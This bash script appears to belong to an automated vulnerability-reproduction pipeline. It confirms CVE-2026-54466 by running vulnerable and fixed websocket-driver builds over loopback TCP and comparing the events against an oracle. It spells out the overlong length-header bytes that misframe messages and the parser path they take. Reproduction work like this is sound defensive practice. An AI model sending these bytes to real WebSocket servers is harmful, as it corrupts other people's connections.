#!/bin/bash
set -euo pipefail

# CVE-2026-54466 - websocket-driver draft-75/76 overlong length header -> message corruption
#
# Drives the REAL published websocket-driver npm package over a real loopback
# TCP socket (Driver.server(...) -> Draft75/hixie-75 parser) for both the
# vulnerable 0.7.4 and fixed 0.7.5 builds, then compares emitted events against
# the ticket oracle.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"

cd "$ROOT"

echo "[repro] ROOT=$ROOT" | tee -a "$LOGS/reproduction_steps.log"

# --- Resolve the project cache (durable volume) if present -------------------
CACHE_CTX="$ROOT/project_cache_context.json"
CACHE_DIR=""
if [ -f "$CACHE_CTX" ]; then
  PREPARED="$(jq -r '.prepared // false' "$CACHE_CTX" 2>/dev/null || echo false)"
  if [ "$PREPARED" = "true" ]; then
    CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$CACHE_CTX")"
    echo "[repro] project cache prepared=true -> $CACHE_DIR" | tee -a "$LOGS/reproduction_steps.log"
  fi
fi

VULN_PKG=""
FIXED_PKG=""
if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR/vuln/node_modules/websocket-driver" ] && [ -d "$CACHE_DIR/fixed/node_modules/websocket-driver" ]; then
  VULN_PKG="$CACHE_DIR/vuln"
  FIXED_PKG="$CACHE_DIR/fixed"
  echo "[repro] reusing cached packages: vuln=$VULN_PKG fixed=$FIXED_PKG" | tee -a "$LOGS/reproduction_steps.log"
else
  # Fallback: install both versions into local scratch dirs.
  echo "[repro] cache unusable; installing websocket-driver via npm" | tee -a "$LOGS/reproduction_steps.log"
  VULN_PKG="$REPRO_DIR/_vuln_pkg"
  FIXED_PKG="$REPRO_DIR/_fixed_pkg"
  rm -rf "$VULN_PKG" "$FIXED_PKG"
  mkdir -p "$VULN_PKG" "$FIXED_PKG"
  printf '{"name":"vuln","version":"1.0.0","dependencies":{"websocket-driver":"0.7.4"}}\n' > "$VULN_PKG/package.json"
  printf '{"name":"fixed","version":"1.0.0","dependencies":{"websocket-driver":"0.7.5"}}\n' > "$FIXED_PKG/package.json"
  (cd "$VULN_PKG"  && npm install --no-audit --no-fund --loglevel=error >/dev/null 2>&1)
  (cd "$FIXED_PKG" && npm install --no-audit --no-fund --loglevel=error >/dev/null 2>&1)
fi

# Sanity: confirm versions.
VULN_VER="$(node -e "console.log(require('$VULN_PKG/node_modules/websocket-driver/package.json').version)")"
FIXED_VER="$(node -e "console.log(require('$FIXED_PKG/node_modules/websocket-driver/package.json').version)")"
echo "[repro] vuln version=$VULN_VER fixed version=$FIXED_VER" | tee -a "$LOGS/reproduction_steps.log"
test "$VULN_VER" = "0.7.4"
test "$FIXED_VER" = "0.7.5"

# Confirm the patch is present in fixed and absent in vuln (source diff).
echo "[repro] patch presence check:" | tee -a "$LOGS/reproduction_steps.log"
if grep -q "if (this._length > this._maxLength) return this.close();" "$FIXED_PKG/node_modules/websocket-driver/lib/websocket/driver/draft75.js"; then
  echo "  fixed: guard PRESENT" | tee -a "$LOGS/reproduction_steps.log"
else
  echo "  fixed: guard MISSING (unexpected)" | tee -a "$LOGS/reproduction_steps.log"
fi
if grep -q "if (this._length > this._maxLength) return this.close();" "$VULN_PKG/node_modules/websocket-driver/lib/websocket/driver/draft75.js"; then
  echo "  vuln: guard PRESENT (unexpected)" | tee -a "$LOGS/reproduction_steps.log"
else
  echo "  vuln: guard ABSENT (expected vulnerable)" | tee -a "$LOGS/reproduction_steps.log"
fi

# --- Run the harness against each build -------------------------------------
HARNESS="$REPRO_DIR/harness.js"
test -f "$HARNESS"

VULN_JSON="$LOGS/vuln_result.json"
FIXED_JSON="$LOGS/fixed_result.json"

echo "[repro] running vulnerable 0.7.4 ..." | tee -a "$LOGS/reproduction_steps.log"
node "$HARNESS" "$VULN_PKG" "$VULN_JSON" vuln 2>&1 | tee "$LOGS/vuln_run.log"
echo "[repro] running fixed 0.7.5 ..." | tee -a "$LOGS/reproduction_steps.log"
node "$HARNESS" "$FIXED_PKG" "$FIXED_JSON" fixed 2>&1 | tee "$LOGS/fixed_run.log"

# --- Evaluate the oracle ----------------------------------------------------
node - <<'NODE' > "$LOGS/oracle_eval.txt"
var fs = require('fs');
var ROOT = process.env.PRUVA_ROOT || require('path').join(__dirname, '..');
var LOGS = require('path').join(ROOT, 'logs');
var v = JSON.parse(fs.readFileSync(require('path').join(LOGS, 'vuln_result.json')));
var f = JSON.parse(fs.readFileSync(require('path').join(LOGS, 'fixed_result.json')));

var POSITIVE = 'POSITIVE-CTRL-OK';
var SENTINEL = 'SENTINEL-VULN-XYZ-12345';

var lines = [];
function p(s){ lines.push(s); }

p('=== Oracle evaluation ===');
p('');
p('Vulnerable 0.7.4:');
p('  positive_control_delivered : ' + v.positive_delivered);
p('  sentinel_delivered         : ' + v.sentinel_delivered);
p('  close_after_malicious      : ' + v.close_after_malicious);
p('  corrupted_message_emitted  : ' + v.corrupted_message_after_malicious);
p('  positive_message_count     : ' + v.positive_count + ' (2+ => stale re-emit = misframing)');
p('  readyState_final           : ' + v.readyState_final + ' (1=open, 3=closed)');
p('');
p('Fixed 0.7.5:');
p('  positive_control_delivered : ' + f.positive_delivered);
p('  sentinel_delivered         : ' + f.sentinel_delivered);
p('  close_after_malicious      : ' + f.close_after_malicious);
p('  corrupted_message_emitted  : ' + f.corrupted_message_after_malicious);
p('  positive_message_count     : ' + f.positive_count);
p('  readyState_final           : ' + f.readyState_final);
p('');

// Oracle rules:
//  vuln: positive delivered AND driver stays open (no close) AND sentinel NOT
//        delivered AND a corrupted/stale message is emitted (misframing).
//  fixed: positive delivered AND driver closes on the malicious header AND no
//        corrupted application message.
var vulnOK = v.positive_delivered && !v.close_after_malicious && !v.sentinel_delivered && v.corrupted_message_after_malicious;
var fixedOK = f.positive_delivered && f.close_after_malicious && !f.corrupted_message_after_malicious;
var confirmed = vulnOK && fixedOK;

p('Oracle verdict:');
p('  vuln_path_matches  : ' + vulnOK);
p('  fixed_path_matches : ' + fixedOK);
p('  CONFIRMED          : ' + confirmed);
p('');
p('Wire bytes (hex):');
p('  malicious_header : ' + v.wire_bytes.malicious_header + '  (0x80 0xFF 0xFF 0xFF 0x7F)');
p('  sentinel_frame   : ' + v.wire_bytes.sentinel);
p('  computed_length  : ' + v.computed_malicious_length + ' > maxLength ' + v.max_length);
p('');
p('Vuln events: ' + JSON.stringify(v.events));
p('Fixed events: ' + JSON.stringify(f.events));

fs.writeFileSync(require('path').join(LOGS, 'oracle_eval.txt'), lines.join('\n') + '\n');
console.log(lines.join('\n'));
process.exit(confirmed ? 0 : 1);
NODE
ORACLE_RC=$?
cat "$LOGS/oracle_eval.txt" | tee -a "$LOGS/reproduction_steps.log"

if [ "$ORACLE_RC" -ne 0 ]; then
  echo "[repro] ORACLE NOT SATISFIED (rc=$ORACLE_RC)" | tee -a "$LOGS/reproduction_steps.log"
  CONFIRMED=false
else
  echo "[repro] ORACLE SATISFIED" | tee -a "$LOGS/reproduction_steps.log"
  CONFIRMED=true
fi

# --- Write runtime manifest -------------------------------------------------
node - <<'NODE'
var fs = require('fs');
var path = require('path');
var ROOT = process.env.PRUVA_ROOT || path.join(__dirname, '..');
var REPRO = path.join(ROOT, 'repro');
var v = JSON.parse(fs.readFileSync(path.join(ROOT, 'logs', 'vuln_result.json')));
var f = JSON.parse(fs.readFileSync(path.join(ROOT, 'logs', 'fixed_result.json')));
var manifest = {
  entrypoint_kind: "tcp_peer",
  entrypoint_detail: "loopback TCP socket -> Driver.server(...) handshake (hixie-75/Draft75) -> draft75.parse()/_parseLeadingByte()/stage-1 length accumulator",
  service_started: true,
  healthcheck_passed: true,
  target_path_reached: true,
  runtime_stack: ["node", "net(TCP loopback)", "websocket-driver (Draft75/hixie-75 parser)"],
  proof_artifacts: [
    "logs/reproduction_steps.log",
    "logs/vuln_result.json",
    "logs/fixed_result.json",
    "logs/vuln_run.log",
    "logs/fixed_run.log",
    "logs/oracle_eval.txt"
  ],
  notes: "Real loopback TCP peer exercised the published websocket-driver 0.7.4 (vulnerable) and 0.7.5 (fixed) Draft75 parser. Vulnerable build stays open and misframes the sentinel (stale message re-emit); fixed build closes on over-limit length header. Positive control delivered in both.",
  vulnerable_version: v.package_version,
  fixed_version: f.package_version,
  vulnerable_events: v.events,
  fixed_events: f.events,
  malicious_header_hex: v.wire_bytes.malicious_header,
  computed_length: v.computed_malicious_length,
  max_length: v.max_length
};
fs.writeFileSync(path.join(REPRO, 'runtime_manifest.json'), JSON.stringify(manifest, null, 2) + '\n');
console.log('[repro] wrote runtime_manifest.json');
NODE

# --- Write validation verdict -----------------------------------------------
if [ "$CONFIRMED" = "true" ]; then
  cat > "$REPRO_DIR/validation_verdict.json" <<'JSON'
{
  "claim_outcome": "confirmed",
  "claim_block_reason": null,
  "repro_result": "confirmed",
  "validated_surface": "network_protocol",
  "evidence_scope": "production_path",
  "claimed_impact_class": "other",
  "observed_impact_class": "other",
  "exploitability_confidence": "high",
  "attacker_controlled_input": "raw bytes on an established hixie-75 WebSocket TCP connection: 0x80 0xFF 0xFF 0xFF 0x7F overlong length header followed by a valid sentinel text frame",
  "trigger_path": "TCP loopback -> Driver.server() -> Draft75.parse() -> _parseLeadingByte() -> stage-1 base-128 length accumulator (no _maxLength guard) -> stage-2 skip mode consumes/misframes the following sentinel text frame",
  "end_to_end_target_reached": true,
  "sanitizer_used": false,
  "crash_observed": false,
  "read_write_primitive_observed": false,
  "exploit_chain_demonstrated": true,
  "blocking_mitigation": null,
  "inferred": false
}
JSON
else
  cat > "$REPRO_DIR/validation_verdict.json" <<'JSON'
{
  "claim_outcome": "unknown",
  "claim_block_reason": "unknown",
  "repro_result": "not_confirmed",
  "validated_surface": "network_protocol",
  "evidence_scope": "production_path",
  "claimed_impact_class": "other",
  "observed_impact_class": "none",
  "exploitability_confidence": "unknown",
  "attacker_controlled_input": null,
  "trigger_path": null,
  "end_to_end_target_reached": false,
  "sanitizer_used": false,
  "crash_observed": false,
  "read_write_primitive_observed": false,
  "exploit_chain_demonstrated": false,
  "blocking_mitigation": null,
  "inferred": false
}
JSON
fi

echo "[repro] verdict written: $REPRO_DIR/validation_verdict.json" | tee -a "$LOGS/reproduction_steps.log"

# --- Best-effort proof-carry copy into the durable project cache -------------
if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR" ]; then
  PC_DIR="$CACHE_DIR/.pruva/proof-carry/latest_attempt"
  mkdir -p "$PC_DIR"
  cp -f "$REPRO_DIR/reproduction_steps.sh" "$PC_DIR/" 2>/dev/null || true
  cp -f "$REPRO_DIR/harness.js" "$PC_DIR/" 2>/dev/null || true
  cp -f "$REPRO_DIR/runtime_manifest.json" "$PC_DIR/" 2>/dev/null || true
  cp -f "$REPRO_DIR/validation_verdict.json" "$PC_DIR/" 2>/dev/null || true
  cp -f "$LOGS/oracle_eval.txt" "$PC_DIR/" 2>/dev/null || true
  cp -f "$LOGS/vuln_result.json" "$PC_DIR/" 2>/dev/null || true
  cp -f "$LOGS/fixed_result.json" "$PC_DIR/" 2>/dev/null || true
  if [ "$CONFIRMED" = "true" ]; then
    CONF_DIR="$CACHE_DIR/.pruva/proof-carry/latest_confirmed"
    mkdir -p "$CONF_DIR"
    cp -f "$REPRO_DIR/reproduction_steps.sh" "$CONF_DIR/" 2>/dev/null || true
    cp -f "$REPRO_DIR/harness.js" "$CONF_DIR/" 2>/dev/null || true
    cp -f "$REPRO_DIR/runtime_manifest.json" "$CONF_DIR/" 2>/dev/null || true
    cp -f "$REPRO_DIR/validation_verdict.json" "$CONF_DIR/" 2>/dev/null || true
    cp -f "$LOGS/oracle_eval.txt" "$CONF_DIR/" 2>/dev/null || true
  fi
fi

echo "[repro] CONFIRMED=$CONFIRMED" | tee -a "$LOGS/reproduction_steps.log"

if [ "$CONFIRMED" = "true" ]; then
  exit 0
else
  exit 1
fi
